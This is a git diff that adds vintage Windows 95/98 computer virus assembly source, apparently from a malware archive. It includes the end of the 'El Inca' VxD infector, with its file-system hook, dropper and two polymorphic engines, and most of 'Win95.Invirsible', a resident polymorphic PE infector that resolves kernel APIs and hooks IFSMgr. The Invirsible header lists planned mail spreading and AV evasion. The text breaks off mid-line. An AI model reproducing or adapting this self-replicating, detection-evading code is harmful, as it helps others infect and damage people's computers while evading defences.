mov esi, offset32 FileName + VxDCall IFSMgr_Ring0_FileIO ;restore attribz + popad + + ExitCorrect: + mov [OurFile], 0 + ExitNow: + mov eax, [ebp+28] + push eax + mov eax, [ebp+24] + push eax + mov eax, [ebp+20] + push eax + mov eax, [ebp+16] + push eax + mov eax, [ebp+12] + push eax + mov eax, [ebp+8] + push eax + mov eax, [nexthook] + call [eax] ;continue next caller + add esp, 20h + leave + ret +EndProc FONO98_File_System + + + db 13d, 'El Inca virus', 13d ;yeahh... this is the name + + +BeginProc PreparateDropper + mov eax, R0_OPENCREATFILE + mov ebx, 2 + xor cx, cx ;used for archivers infection + mov edx, 11h + mov esi, offset32 FileName + VxDCall IFSMgr_Ring0_FileIO + mov [FileHandle], eax ;here we get the size of file + mov ebx, eax ;copy some shitz and calculate + jc ExitUnmark ;crc16 and crc32 + mov eax, R0_GETFILESIZE + VxDCall IFSMgr_Ring0_FileIO + jc ExitClose + mov ebp, eax + cld + mov ecx, [PolyDOSFileSize] + call AllocMemory ;alloc memory for loader + jz ExitClose ;and vxd + mov [BufferOneHandle], eax + mov edi, eax + mov esi, [PolyDOSFileBuffer] + mov ecx, [PolyDOSFileSize] + push ecx + rep movsb ;zopi loader + pop ecx + push ecx + mov esi, [BufferOneHandle] + push esi + call CRC16 + mov [LHACRC16], ax ;only LHZ use crc16 + pop esi + pop edi + call CRC32 ;crc32 returned in eax for + ret ;otherz +EndProc PreparateDropper + + + +BeginProc VxDMapFile + mov eax, R0_OPENCREATFILE ;hey... i also have a map + mov ebx, 2 ;file function... ;) + xor ecx, ecx + mov [VMF_sucess], ecx + mov edx, 11h + mov esi, offset32 FileName + VxDCall IFSMgr_Ring0_FileIO + mov [VMF_handle], eax + jc VMF_ret + mov ebx, eax + mov eax, R0_GETFILESIZE + VxDCall IFSMgr_Ring0_FileIO + mov [VMF_size], eax + jc VMF_close + push eax + mov ecx, eax + add ecx, ebp ;alloc enought memory for + call AllocMemory ;file and workspace + mov [VMF_base], eax + mov esi, eax + pop ecx + jz VMF_close + mov eax, R0_READFILE + xor edx, edx ;map it out! + VxDCall IFSMgr_Ring0_FileIO + jc VMF_free + VMF_ret: + ret +EndProc VxDMapFile + + + +BeginProc VxDUnMapFile + mov ecx, 12345678h + VMF_sucess equ dword ptr $-4 + jecxz VMF_close ;should we update it? + mov eax, R0_WRITEFILE + mov ecx, [VMF_size] + sub edx, edx + mov ebx, [VMF_handle] + mov esi, [VMF_base] ;write infected PE + VxDCall IFSMgr_Ring0_FileIO + VMF_close: + mov eax, R0_CLOSEFILE + VxDCall IFSMgr_Ring0_FileIO ;close it + VMF_free: + mov eax, [VMF_base] + call DeAllocMemory ;free allocated memory + ret +EndProc VxDUnMapFile + + + +BeginProc AllocMemory + push ecx + push HEAPSWAP+HEAPZEROINIT + push ecx + VMMCall _HeapAllocate ;memory allocation routine + add sp, 8 + or eax, eax + pop ecx + ret +EndProc AllocMemory + + + +BeginProc DeAllocMemory + push 0 + push eax + VMMCall _HeapFree + add sp, 8 + ret +EndProc DeAllocMemory + + + +BeginProc CRC32 + cld + push ebx + mov ecx, -1 ;look at this!!!! + mov edx, ecx + NextByteCRC: + xor eax, eax ;our crc32 dont need huge + xor ebx, ebx ;tables or shit like... + lodsb + xor al, cl ;all calculated at runtime + mov cl, ch + mov ch, dl + mov dl, dh + mov dh, 8 + NextBitCRC: + shr bx, 1 + rcr ax, 1 + jnc NoCRC + xor ax, 08320h + xor bx, 0edb8h + NoCRC: + dec dh + jnz NextBitCRC + xor ecx, eax + xor edx, ebx + dec di + jnz NextByteCRC + not edx + not ecx + pop ebx + mov eax, edx + rol eax, 16 + mov ax, cx ;thx2zenghxi + ret +EndProc CRC32 + + VIRSIZE equ 4000H + +gldr: + cld ;our 16bit poly engine + mov [pDOSBase], esi ;designed for boot and dropperz + mov edi, offset32 rgtbl + sub edx, edx + mov ebx, edx + push edi + mov eax, edx + mov dword ptr [edi-4], eax + mov ecx, 8 + rep stosw ;init regz mirrors + pop edi + xchg esi, edi + mov byte ptr [opcode1], 0b8h + mov byte ptr [opcode2], 89h + mov word ptr [_sp], -1 + mov byte ptr [gtype], gfl + @a1: + mov ecx, 8 + call creg + call gopc + push edi + mov edi, esi + sub eax, eax + repnz scasw ;all regz initialized? + pop edi + jz @a1 + call rnd + and eax, 011111b + adc eax, 8 + mov ecx, eax + @a2: + call garble ;create some junk + loop @a2 + cmp byte ptr [maq], 0 + jne maqfile + mov eax, 00000202h ;floppy paramz + mov ebx, 0001000fh ;hi=reg + mov edx, 00020100h ;lo=value + mov ebp, 00037e00h + call mxrg ;mix order + mov byte ptr [gtype], gnf + push eax + push ebx + push edx + push ebp + mov ecx, 4 + @a8: + xor eax, eax + mov edx, eax + pop ax + pop dx + bts word ptr [rgusg], dx + call mrval + push ecx + call rnd + and eax, 0111b + inc eax + mov ecx, eax + @a9: + call garble ;garble a bit more + loop @a9 + pop ecx + loop @a8 + mov ax, 013cdh ;int 13 + stosw + mov byte ptr [gtype], gfl + mov word ptr [rgusg], 1000b + call mgarble + mov al, 06 ;push es + stosb + call mgarble + mov al, 53h ;push bx + stosb + call mgarble + mov al, 0cbh ;retf + stosb + ret + +mgarble: + push ecx + call rnd + and eax, 0111b + inc eax + mov ecx, eax ;1-8 garbage calls + @b9: + call garble + loop @b9 + pop ecx + ret + +maqfile: + mov byte ptr [gtype], gnf + @c0: + call rnd + or al, al + jz @c0 + mov byte ptr [key], al + call creg + mov byte ptr [cntreg], dl + bts word ptr [rgusg], dx + call rnd + and eax, 0111111111111b + add ax, word ptr [esi+edx*2] + add ax, VIRSIZE + mov word ptr [cntregv], ax + @c1: + call rnd + and eax, 011b + add al, al + add eax, offset32 crtbl + mov ax, word ptr [eax] + movzx edx, ah + bts word ptr [rgusg], dx + jc @c1 + mov byte ptr [pntreg], dl + mov byte ptr [encintr], al + mov ax, word ptr [esi+edx*2] + mov word ptr [pntregv], ax + mov dword ptr [strloop], edi + call mgarble + mov al, 80h + mov ah, byte ptr [encintr] + stosw + push edi + stosw + mov al, byte ptr [key] + stosb + call mgarble + mov al, 040h + or al, byte ptr [pntreg] + stosb + call mgarble + mov al, 040h + or al, byte ptr [cntreg] ;inc counter + stosb + call mgarble + mov ax, 0f881h + or ah, byte ptr [cntreg] + stosw + mov ax, word ptr [cntregv] + stosw + mov ax, 0074h + stosw + push edi + call mgarble + mov al, 0e9h + stosb + mov eax, edi + sub eax, dword ptr [strloop] + add eax, 2 + neg eax + stosw + call mgarble + pop ebp + mov ecx, edi + sub ecx, ebp + mov byte ptr [ebp-1], cl + call mgarble + call mgarble + mov word ptr [rgusg], 0 + pop ebp + + mov ecx, edi + sub ecx, [pDOSBase] + add ecx, 100h + + movzx eax, word ptr [pntregv] + sub ecx, eax + mov word ptr [ebp], cx + ret + +mxrg: + push eax + call rnd + and eax, 0111b + inc eax + mov ecx, eax + pop eax + @c3: + call rndf + jc @c4 + xchg eax, ebx ;randomize order + @c4: + call rndf + jc @c5 + xchg ebx, edx + @c5: + call rndf + jc @c6 + xchg edx, ebp + @c6: + call rndf + jc @c7 + xchg ebp, eax + @c7: + loop @c3 + ret + +garble: + cmp [maq], 0 + je artm + call rnd + and eax, 0111b + cmp eax, 0111b + jne artm + push ecx ;make a jump + call rnd + and eax, 0111b + add eax, 4 + mov ecx, eax + mov ah, 0ebh + xchg al, ah + stosw + ngrb: + call rnd + stosb + loop ngrb + pop ecx + ret + artm: + mov ebx, offset32 optbl + @d1: + call rnd + and eax, 0111b + gtype equ byte ptr $-1 + gfl = 0111b + gnf = 0011b + cmp al, 5 + ja @d1 + add al, al + mov ax, word ptr [ebx+eax] ;make aritm + mov byte ptr [opcode1], ah + mov byte ptr [opcode2], al + call creg + call gopc + ret + +creg: + call rnd + and eax, 0111b + cmp al, 4 + jne @e1 + inc al + @e1: + mov dl, al + bt word ptr [rgusg], dx ;used + jc creg + ret + +gopc: + mov bl, 12h + opcode1 equ byte ptr $-1 + mov al, 81h + cmp bl, 0c0h + jb @f1 + stosb + @f1: + mov al, bl + or al, dl + stosb + call rnd + stosw + mov bx, ax + mov ax, word ptr [flags] + sahf ;look this! + opcode2 equ byte ptr $+1 ;the decriptor depends + mov word ptr [esi+edx*2], bx ;of the garbage code! + lahf ;we keep track of all, regs + mov word ptr [flags], ax ;and flags!!!! :) + ret + +mrval: + push eax + call rnd + and eax, 011b ;ask a value... we make it + or eax, eax ;(in the requested reg) using + jz @g1 ;math and the current garbage + dec eax ;status! no more fixed movs :) + @g1: + add al, al + movzx eax, word ptr [offset32 fxtbl+eax] + or al, dl + xchg al, ah + mov byte ptr [opcode3], al + mov al, 81h + stosw + cmp byte ptr [opcode3], 3 ;(as you noticed, i'm very + pop eax ;proud of this engine) + jnz @g2 + neg eax + @g2: + movzx ebx, word ptr [esi+edx*2] + jmp @g3 + @g3: + xor eax, ebx + opcode3 equ byte ptr $-2 ;xor/add/sub + stosw + ret + +rnd: + push ecx + push edx + mov eax, 12345678h ;congruential something... :) + seed equ dword ptr $-4 + mov ecx, eax + imul eax, 41c64e6dh + add eax, 3039h ;thankz to GriYo... + ror ax, 1 ;(do you not imagine how hard + mov dword ptr [seed], eax ;is code a decent rnd routine) + xor eax, ecx + pop edx + pop ecx + ret + +rndf: + push eax + call rnd + pop eax + bt eax, 1 ;random z flag + ret + +pDOSBase dd 0 +maq db 0 +key db 0 +strloop dd 0 +cntregv dw 0 +cntreg db 0 +pntregv dw 0 +pntreg db 0 +encintr db 0 + +optbl dw 0b889h, 0f031h, 0c001h, 0e829h, 0d011h, 0d819h + ; MOV XOR ADD SUB ADC SBB +fxtbl dw 033f0h, 02bc0h, 003e8h + ; XOR ADD SUB +crtbl dw 03b7h, 05b6h, 06b4h, 07b5h + +flags dw 0 +rgusg dw 0 + +rgtbl equ this byte + _ax dw 0 + _cx dw 0 + _dx dw 0 + _bx dw 0 + _sp dw 0 + _bp dw 0 + _si dw 0 + _di dw 0 + +PolyDOSSize equ $ - offset32 gldr + + +peng: + push edi ;our 32bit poly engine + push edi + mov [totsize], ecx + cld + mov edi, offset32 crptbl + mov ecx, 101h + sub edx, edx + tlp: + mov byte ptr [edi+edx], dl + inc edx + loop tlp ;make linear table of values + mov edi, offset32 crptbl + mov ecx, 01111b + tlp2: + call rnd255 ;randomize table + mov ebx, eax + call rnd255 + mov dl, byte ptr [edi+ebx] + xchg dl, byte ptr [edi+eax] ;keep exchanging some bytes + mov byte ptr [edi+ebx], dl + loop tlp2 + pop edi + mov [reg32], 00010000b ;set esp as used + call garble32 + mov [reg32], 00110000b ;set esp/ebp as used + call get8reg + mov [tmp], eax + call get32_16reg + mov [tpointer], eax + call get32_16reg + mov [dpointer], eax + call get32_16reg + mov [tmp2], eax + call get32_16reg + mov [counter], eax ;choose regs + call garble32 + push offset32 mdecr ;return adress + mov ebp, offset32 mcounter + mov ebx, offset32 mpointer + mov edx, offset32 mdpointer + call rnd + and eax, 0111b + inc eax + mov ecx, eax + mixer1: + call rndf + jc m11 + xchg ebp, ebx + m11: + call rndf + jc m12 + xchg edx, ebx + m12: + call rndf + jc m13 + xchg edx, ebp + m13: + loop mixer1 ;randomize calling order + push ebp + push ebx + push edx + ret + mdecr: + mov [lstart], edi + call garble32 + mov ax, 1011011000001111b + stosw ;movzx d tmp2, [reg1+reg2] + mov eax, [tmp2] + shl eax, 3 + or al, 100b + stosb + mov eax, [tpointer] + shl eax, 3 + or eax, [dpointer] + stosb + push eax + call garble32 + mov al, 10001010b + stosb ;mov b tmp, [reg1+tmp2] + mov eax, [tmp] + shl eax, 3 + or al, 100b + stosb + push eax + mov eax, [tpointer] + shl eax, 3 + mov ebx, [tmp2] + or eax, ebx + stosb + mov al, 10001000b + stosb ;mov b [reg1+reg2], tmp + pop eax + stosb + pop eax + stosb + call garble32 + push offset32 mcontinue + mov ebx, offset32 inc_pointer + mov edx, offset32 dec_counter + call rndf + jc m2 + xchg edx, ebx ;randomize order + m2: + push ebx + push edx + ret + mcontinue: + call garble32 + mov al, 0bh + stosb + mov eax, [counter] + shl eax, 3 + or eax, [counter] + or al, 11000000b + stosb ;or reg, reg + mov eax, 850fh + stosw + mov eax, [lstart] ;386+ jne + sub eax, edi + sub eax, 4 + stosd + mov [reg32], 00010000b ;set esp as used + call garble32 + call garble32 + mov ecx, edi + sub ecx, [tblstrt] ;calculate start of code + mov esi, [pmdptr] ;to decript(delta-based) + mov [esi], ecx + pop edx + mov ecx, edi + sub ecx, edx ;exit with correct regs + ret + +inc_pointer: + mov eax, 40h ;inc + or eax, [dpointer] + stosb + call garble32 + ret + +dec_counter: + mov eax, 48h ;dec + or eax, [counter] + stosb + call garble32 + ret + +mcounter: + mov eax, 0b8h ;mov + or eax, [counter] + stosb + mov eax, [totsize] + stosd + call garble32 + ret + +mpointer: + mov al, 0e8h + stosb + mov ecx, 255+1 + mov eax, ecx + stosd ;do call + mov [tblstrt], edi + mov esi, offset32 crptbl + rep movsb ;zopy table + mov eax, 58h ;do pop + or eax, [tpointer] + stosb + call garble32 + ret + +mdpointer: + mov eax, 0b8h ;mov + or eax, [dpointer] + stosb + mov [pmdptr], edi + stosd + call garble32 + ret + +gar: + call rnd ;get any reg + and eax, 0111b + cmp al, 4 ;sp never + je gar + ret + +get32_16reg: ;get a free 32/16bit reg + call gar + bts [reg32], eax + jc get32_16reg + ret + +get8reg: ;get a free 8bit reg + call rnd ;al,cl,dl,bl + and eax, 0011b + bts [reg32], eax + jc get8reg + call rndf + jc ntg + or al, 0100b ;ah,ch,dh,bh + ntg: + ret + +garble32: + pushad + cmp byte ptr [rlevel], 3 + je maxr + inc byte ptr [rlevel] + call rnd + and eax, 0111b + mov ecx, eax + inc ecx + ng32: + push ecx + call rnd + and eax, 01111b + shl eax, 2 + add eax, offset32 gtbl + call dword ptr [eax] + pop ecx + loop ng32 + dec byte ptr [rlevel] + maxr: + mov dword ptr [esp], edi ;change stack copy of edi + popad + ret + +gtbl equ this byte + dd offset32 subr ;silly garblers :( + dd offset32 subr + dd offset32 jmps + dd offset32 jmps + dd offset32 jmps + dd offset32 jmps ;no time to code good ones... + dd offset32 jcc + dd offset32 jcc + dd offset32 jcc + dd offset32 jcc + dd offset32 calls + dd offset32 calls + dd offset32 calls + dd offset32 calls + dd offset32 calls + dd offset32 calls + +jcc: + call rnd ;do jump conditional with + and eax, 0fh ;real displacement(no shitty + or eax, 0f80h ;$+2 thingie) + xchg al, ah + stosw + stosd + push edi + call garble32 + pop esi + mov ecx, edi + sub ecx, esi + mov dword ptr [esi-4], ecx + ret + +jmps: + mov al, 0e9h ;do jump + stosb + stosd + push edi + call rnd + and eax, 0111b + inc eax + mov ecx, eax + njnk: + call rnd ;fill with junk + stosb + loop njnk + pop esi + mov ecx, edi + sub ecx, esi + mov dword ptr [esi-4], ecx + ret + +subr: ;make call to subroutine + cmp dword ptr [subad], 0 + jz ncall ;a subroutine was coded? + mov al, 0e8h + stosb + mov eax, edi + sub eax, dword ptr [subad] ;calc subr address + add eax, 4 + neg eax + stosd + ncall: + ret + +calls: + cmp dword ptr [subad], 0 ;make subroutine + jne ncall + mov al, 0e9h ;the old thing... + stosb + stosd ;jump @@1 + push edi ;@@2: + call garble32 ;*garbage* + mov al, 0c3h ;*garbage* + stosb ;ret + pop esi ;@@1: + mov ecx, edi + sub ecx, esi + mov dword ptr [esi-4], ecx + mov dword ptr [subad], esi ;store sub address + ret + +rnd255: + call rnd + and eax, 011111111b + ret + +encript_pe: + pushad + mov ecx, dword ptr [totsize] ;our poly engine isnt a + mov ebx, offset32 crptbl ;cyclical decriptor using + ecrt: ;xor/add/sub or like... + lodsb + push ecx ;we use a substitution scheme, + push edi ;based in a table... This way, + mov ecx, 100h ;'A'=='2' '#'=='x' and so... + mov edi, ebx ;no virus i know use this + repne scasb + dec edi + sub edi, ebx + mov eax, edi ;eax hold offset into table + pop edi + pop ecx + stosb + loop ecrt + mov [esp], edi ;setup edi copy in stack + popad + ret + +subad dd 0 +rlevel db 0 +tmp dd 0 +tmp2 dd 0 +tpointer dd 0 +dpointer dd 0 +counter dd 0 +pmdptr dd 0 +tblstrt dd 0 +lstart dd 0 +reg32 dd 0 +totsize dd 0 + + +BeginProc CRC16 + push ebx + push ecx + mov ebx, 0a001h + mov edi, offset32 CrcTab + xor edx, edx + crc16nb: + mov ax, dx + mov cx, 8 + crc16l: + shr ax, 1 + jae crc16sk + xor ax, bx + crc16sk: + loop crc16l + stosw ;make da table + inc edx + cmp edx, 512 + jne crc16nb + pop ecx + xor eax, eax + CRC16Loop: + xor ebx, ebx + mov bl, al + lodsb + xor bl, al + shl bx, 1 + mov bx, word ptr [CrcTab+bx] ;make CRC16 of it + xor bl, ah + mov eax, ebx + loop CRC16Loop + pop ebx + ret +EndProc CRC16 + + + +BeginProc Random4Name + mov dword ptr [edi], 'AAAA' ;setup base name + mov ecx, 4 + in al, 40h + mov ah, al + NextLetter: + in al, 40h + xor al, ah + mov ah, al + and al, 01111b + add byte ptr [edi], al ;add random values to make + inc edi ;random letter, to obtain a + loop NextLetter ;random name! :) + in al, 40h + cmp al, 80h + mov eax, 12345678h + org $-4 + db '.', 'C', 'O', 'M' + jb PutThisOne ;put a .COM extension + mov eax, 12345678h + org $-4 + db '.', 'E', 'X', 'E' + PutThisOne: + mov [edi], eax ;or a .EXE one + ret +EndProc Random4Name + + + +BeginProc FONO98_Control + Control_Dispatch Init_Complete, FONO98_Device_Init + clc ;our init procedure... + ret ;other virus wait for more +EndProc FONO98_Control ;calls... but i did only this + ;one and it worked, so... + + +VxD_Locked_Code_Ends + +End diff --git a/LegacyWindows/Win95.Invirsible.asm b/LegacyWindows/Win95.Invirsible.asm new file mode 100644 index 00000000..ae8a9b04 --- /dev/null +++ b/LegacyWindows/Win95.Invirsible.asm @@ -0,0 +1,4173 @@ +; Win95.Invirsible +; Bhunji +; +; proudly presents ;) +; +; Invirsible +; +; Virusinfo +; Version 2 +; Size: Big, usually around 7.6k +; Infects: PE files +; Resident: Yes +; Systems; Win9x +; Polymorhic: Yes + +; This is the second version on Invirsible. My goal with this virus +; is to make it as hard as possible to detect. It has one technique +; never seen in a virus before which I call the Guide technique. More +; info about this can be found at www.shadowvx.org. It carries a very +; advanced generic polymorpher. It is able to polymorph mov, add, sub +; so far but its trivial to add more instructions. The engine uses +; emulation to generate code. It is able to emulate memory and registers +; which results in code that looks very real. Coding new code to be +; polymorphed is pretty easy as it's similar to Intel asm. + +; ex. mov RX1,[RX2] +; mov Random register 1, [Random register 2] + +; Changes since last version +; A total rewrite of the polymorphic code. Works way better now. +; * Changed the polymorphic language to be more similar to Intel asm +; * Added memory emulation, the created code uses the end of .data segment. +; * Deleted advanced register emulation, did hardly create better code +; and was taking up lots of space. +; * Very generic, adding a new instruction needs 10 lines of data/code +; instead of 200-400 lines. +; * An optimiser that deletes the very worst code. (fx. mov eax,eax) +; * The linked list polymorpher will create a six different looking +; decryptors for the generic polymorpher. + + +; Some changes to the virus +; * Bugfixes. (Doesn't crash on infection :) ) +; * Search for slackspace in .data segment. This space is used by the +; generated code to look more like real code. +; * Recompilation of the code before every infection to make the pointers +; point to the .data slack + +; Things to be added in the future. +; * More instructions will be added to the polymorpher +; * A more powerful optimiser +; * Infect on NT too. +; * Spreading by mail +; * Infection of hlp files +; * EPO +; * Deregister the most common AV software on file but register it later in +; memory. This will not happen if the AV gives the virus its proper name. +; * A better method of upgrading the virus ala babylonia. + +; And here is an example of what code the engine is able and has been +; able to generate. + +; Version 1 +; Version one is able to emulate/generate +; add, mov +s +; (code is taken from a generated Guide) + +; mov ecx, 0Ch +; mov ebx, fs:[ecx] ; get random number +; mov edx, 0 +; add edx, eax +; add eax, esi +; mov edi, 0 +; add edi, 6472DAADh +; mov eax, 5A97451Fh +; mov eax, edx +; add edi, ecx +; mov ecx, 0 +; add ecx, ebx +; or ecx, 8 +; xor ebx, ecx ; 'and' ebx,8 +; add edi, 0DCA7B4AAh +; add edi, 60E4CB5Ch +; mov edi, ebx +; add ebx, offset jumptable ; add ebx, offset jumptable +; jmp dword ptr [ebx] + + +; patterns + +; Differences from the trash code +; fs:[register] +; or/and register,8 +; jmp [register] + +; The trashcode +; very few instructions +; no memory instructions +; the same amount of every emulateable instruction (normal code has more +; movs then adds for example) +; unnecessary instructions. Ex. +; mov eax, 5A97451Fh ; this is unnessesary +; mov eax, edx ; as this overwrites eax again + + +; Version 2 +; Version two is able to emulate +; add, sub, mov, and, or, xor and memory + +; Generates on average more movs then the +; adds and more adds then the other opcodes. +; Generates more registers then memory operands and +; more memory operands then numbers. +; The end result 'feels' more like regular code. +; Many many bugfixes. (There are no more bugs i hope) + +; Code is taken from a generated decryptor +; +; mov edx, 8D403766h +; xor [4030D7], 1A45h ; 1a45 = virussize +; xor esi, [4030CF] +; mov [4030CF], ecx +; mov esi, 45BBA054h +; add edi, 0CCFC6B5Bh +; mov ebx, 1A45h ; first "real" instruction +; mov eax, [4030CF] +; sub edi, 1A45h +; or eax, ebx +; mov edi, 1A45h +; mov edi, 3 +; add ecx, 3 +; mov edx, [4030BF] ; second +; add [4030D7], eax +; mov esi, 3 + +; DecryptLoop: +; pusha ; will be deleted in future versions +; mov eax, 1FF5893Dh +; mov ecx, ebx +; sub eax, 0E138ABECh +; add edx, ecx ; third +; mov esi, ecx +; mov edi, ebx +; mov eax, 0D6E7BEF5h +; mov [4030CF], 5493B89Ch +; sub ecx, [4030B3] +; mov eax, 0E138ABECh +; and [4030D3], ecx +; or eax, ebx +; xor [edx], 0E138ABECh ; decrypt code +; mov [4030D7], 0E138ABECh +; popa +; sub ebx, 4 ; +; jnb DecryptLoop +; mov dword_0_4030CF, 69472C81h +; mov ecx, 0F5D970C4h +; mov edi, 1 +; mov eax, dword_0_4030B7 +; add ecx, 8244076Eh + + + + +; If we put the real code pieces together we get. +; +; mov ebx, 1A45h ; VirusSize +; mov edx, [4030BF] ; Where to start decrypt +; DecryptLoop: +; add edx, ecx ; third +; xor dword ptr [edx], 0E138ABECh ; decrypt code +; sub ebx, 4 ; +; jnb DecryptLoop + +; The third instruction should add "Where to start" with "VirusSize" but +; as you can see it is added with ecx instead, this is because of the +; emulation. The engine knows that ecx = ebx = VirusSize so it used ecx +; instead. + +; patterns + +; Differences from the trash code +; pushad/popad ; easy to delete +; [Register] ; engine is only able to create [Number] +; jxx ; Engine isnt able to create jumps yet + +; The trashcode +; Still to few instructions, needs push/pop, call, jmp, jxx to look at least +; something like real code. +; Memory instructions isn't able to create memory pointers with a register +; inside, eg [Number+register]. A better compiler will fix this. +; Still unnecessary instructions. Ex. +; mov eax, 0D6E7BEF5h ; this is unnessesary +; ... +; mov eax, 1FF5893Dh ; as this overwrites eax again +; +; Greetings +; (M)asmodeus. Dropper.exe has generated errors and will be closed by +; Windows :))) +; Morphi Hoppas att du f†r det b„ttre i helsingborg +; Prizzy Thanks for helping me with the bug +; Ruzz Yes, i have FINALY finished it :) +; Kamaileon. I wish you luck with the windows programming. +; Clau Hello sister ;) +; Urgo32 Good luck with your next virus. + + + + +includelib kernel32.lib +includelib user32.lib +include c:masmincludewindows.inc + + +.486 +.model flat, stdcall + +ExitProcess PROTO ,:DWORD +MessageBoxA PROTO ,:DWORD,:DWORD,:DWORD,:DWORD + + +; Primes, used them in the first version for advanced register emulation, +; might be usefull in the future + +Prime1 equ 2 +Prime2 equ 3 +Prime3 equ 5 +Prime4 equ 7 +Prime5 equ 11 +Prime6 equ 13 +Prime7 equ 17 +Prime8 equ 19 +Prime9 equ 23 +Prime10 equ 29 +Prime11 equ 31 +Prime12 equ 37 +Prime13 equ 41 +Prime14 equ 43 +Prime15 equ 47 +Prime16 equ 53 +Prime17 equ 59 +Prime18 equ 61 +Prime19 equ 67 +Prime20 equ 71 +Prime21 equ 73 +Prime22 equ 77 + + +.data +VirusStr db "No crack found",0 + +.code + ProgramMain: + + push 0 + call ExitProcess + +_rsrc segment para public 'DATA' use32 +assume cs:_rsrc + + + VirusStart: + Main: + mov ebx,[esp] + + push ebp + call GetDelta + + GetDelta: + pop ebp + sub ebp,offset GetDelta ; address + + mov [Temp+ebp],ebx ; save offset into kernel + + .if ebp!=0 ; code that isn't + ; executed in the first + ; version + + mov eax,[eax] ; polymorphic code will + mov [InfectedProgramOffset+ebp],eax ; move pointer to + .endif ; programstart in eax + + lea eax,BreakPoint1 + lea eax,[ebp+GetDelta] ; move some address to + mov [PointerToDataSlack+ebp],eax ; PTDS, doesnt matter as + ; long as its a working one + + ; mov eax,fs:[0c] + db 67h,64h,0a1h,0ch,00h ; get random number + add [RandomNumber+ebp],eax ; (is not random on NT) + + call GetAPIFunctions ; Get needed API functions + + call FixTables ; clean the 'dirty' tables + ; and allocate mem for the + ; polymorpher + + call CreateGuideAndDecryptor ; Generate the polymorphic + ; code + + call GetResident ; intercept IFSMgr to get + ; filenames to infect + + + ReturnToHost: + + push [MemPtr+ebp] ; free allocated mem used + call [LocalFree+ebp] ; by polymorpher + + mov eax,[InfectedProgramOffset+ebp] ; program address + pop ebp ; restore ebp + + jmp eax ; jmp to program + +Topic db "You can not find what you can not see.",0 + db "Invirsible by Bhunji (Shadow VX)",0 + + VSize equ VirusEnd-VirusStart + VirusSize equ VSize + + + +; how much stack and mem should the polymorpher use + + NumberOfOffsets equ 10 ; more size = better code + ; (doesnt matter right now + ; because the engine isnt + ; able to create jumps) + StackSize equ 100 ; (doesnt matter right now + ; because the engine isnt + ; able to emulate the stack) + + MemorySize equ 10 ; The more size the better + ; code is produced but makes + ; it harder to find a file to + ; infect + + + LinesOfTrash equ 3 ; LinesOfTrash is the + ; aproximate numbers of + ; random instructions between + ; every "legal" instruction + + ; LinesOfTrash + ; Fixup instruction + ; LinesOfTrash + + EndValueFrecuency equ 1 ; the higher the more often + ; is the EndValue chosed + ; the higher the number is + ; the harder is it to detect + ; my looking at one + ; instruction, but its easier + ; to detect by looking at many + ; instructions. + ; 1 is a perfect value + + MemPtr dd 0 ; ptr to allocated mem + ReturnAddress dd 0 ; stores the return address + ; in some functions + + + InfectedProgramOffset dd ProgramMain ; where to jump when + ; done + + Temp dd 0 ; just a temporary variable + + ; API's the virus uses + WinFunctions: + lstrlenStr db "lstrlen",0 + LocalAllocStr db "LocalAlloc",0 + LocalFreeStr db "LocalFree",0 + db 0 + ; pointers to these + Functions: + lstrlen dd ? + AllocMem dd ? + LocalFree dd ? + + + + + + + +FixTables: + + + + + lea edi,[ZeroRegStart+ebp] + mov ecx,(ZeroRegEnd-ZeroRegStart)/4 + xor eax,eax + rep stosd + + lea edi,[RandomRegs+ebp] + mov ecx,Registers + dec eax + rep stosd + + lea edi,[SavedOffsets+ebp] + mov ecx,NumberOfOffsets + rep stosd + + + lea eax,[EaxTable+ebp] + mov [Tables+ebp],eax + + mov eax,MemorySize*20+StackSize*20 + + push eax + push LMEM_FIXED + LMEM_ZEROINIT + call [AllocMem+ebp] + mov [Tables+ebp+4],eax + + add eax,MemorySize*20 + mov [Tables+ebp+8],eax + + + call UndefineRegistersAndMem + + xor eax,eax + lea esi,[Mem1Table+ebp] + mov edi,[Tables+ebp+4] + lodsb + + + mov ecx,eax + PredefinedMem: + lodsb + push edi + imul eax,eax,20 + lea edi,[edi+eax] + push ecx + mov ecx,5 + rep movsd + pop ecx + pop edi + loop PredefinedMem + + ret + + + + + +UndefineRegistersAndMem: + lea edi,[EaxTable+ebp+4*4] + mov ecx,Registers + mov eax,Writeable+Undefined + + SetOpcodeInfo1: + stosd + add edi,4*4 + loop SetOpcodeInfo1 + + + mov edi,[Tables+ebp+4] + add edi,4*4 + mov ecx,MemorySize+StackSize + mov eax,Writeable+Undefined + + SetOpcodeInfo2: + stosd + add edi,4*4 + loop SetOpcodeInfo2 + + + + ret + + + + + + + + + + + + + + + + + + + + GetModuleHandle dd 0 + GetProcAddress dd 0 + GetProcAddressStr db "GetProcAddress",0 + +GetAPIFunctions: + mov eax,[Temp+ebp] + + call GetModuleHandleAndProcAddress + + mov [GetModuleHandle+ebp],eax + mov [GetProcAddress+ebp],ebx + + xor edx,edx + lea edx,[WinFunctions+ebp] + xor ecx,ecx + + CopyWinApiFunctions: + push edx + push ecx + + push edx + push edx + push [GetModuleHandle+ebp] + call [GetProcAddress+ebp] + + mov ecx,[esp+4] + mov [Functions+ebp+ecx],eax + + call [lstrlen+ebp] + pop ecx + pop edx + add edx,eax + add ecx,4 + inc edx + + cmp byte ptr [edx],0 + jnz CopyWinApiFunctions +NoMoreApis: + ret + +; Input +; eax = somewhere in kernel + +; Returns +; eax = GetModuleHandler offset +; ebx = GetProcAddress offset + +GetModuleHandleAndProcAddress: + and eax,0fffff000h ; even 1000h something + + FindKernelEntry: + sub eax,1000h + cmp word ptr [eax],'ZM' + jnz FindKernelEntry + + + mov ebx,[eax+3ch] + + cmp word ptr [ebx+eax], 'EP' + jne FindKernelEntry + mov ebx,[eax+120+ebx] + add ebx,eax ; ebx -> Export table + + mov ecx,[ebx+12] ; ecx -> dll name + + cmp dword ptr [ecx+eax],'NREK' + jz FindGetProcAddress + jmp FindKernelEntry + + +; We can now be sure that eax points to the kernel + FindGetProcAddress: + lea edi,[GetProcAddressStr+ebp] + + mov edx,[ebx+32] + + FindFunction: + add edx,4 + mov ecx,15 ; length of GetProcAddress,0 + mov esi,[edx+eax] + push edi + add esi,eax + repz cmpsb + pop edi + jne FindFunction + + sub edx,[ebx+32] + shr edx,1 ; ecx = ordinal pointer + + lea esi,[edx+eax] + xor ecx,ecx + add esi,[ebx+36] ; esi = base+ordinals+ordnr + + mov cx,word ptr [esi] ; ecx = ordinal + shl ecx,2 ; ecx = ordinal*4 + add ecx,[ebx+28] ; ecx = ordinal*4+func tbl addr + + mov ebx,[ecx+eax] ; esi = function addr in file + add 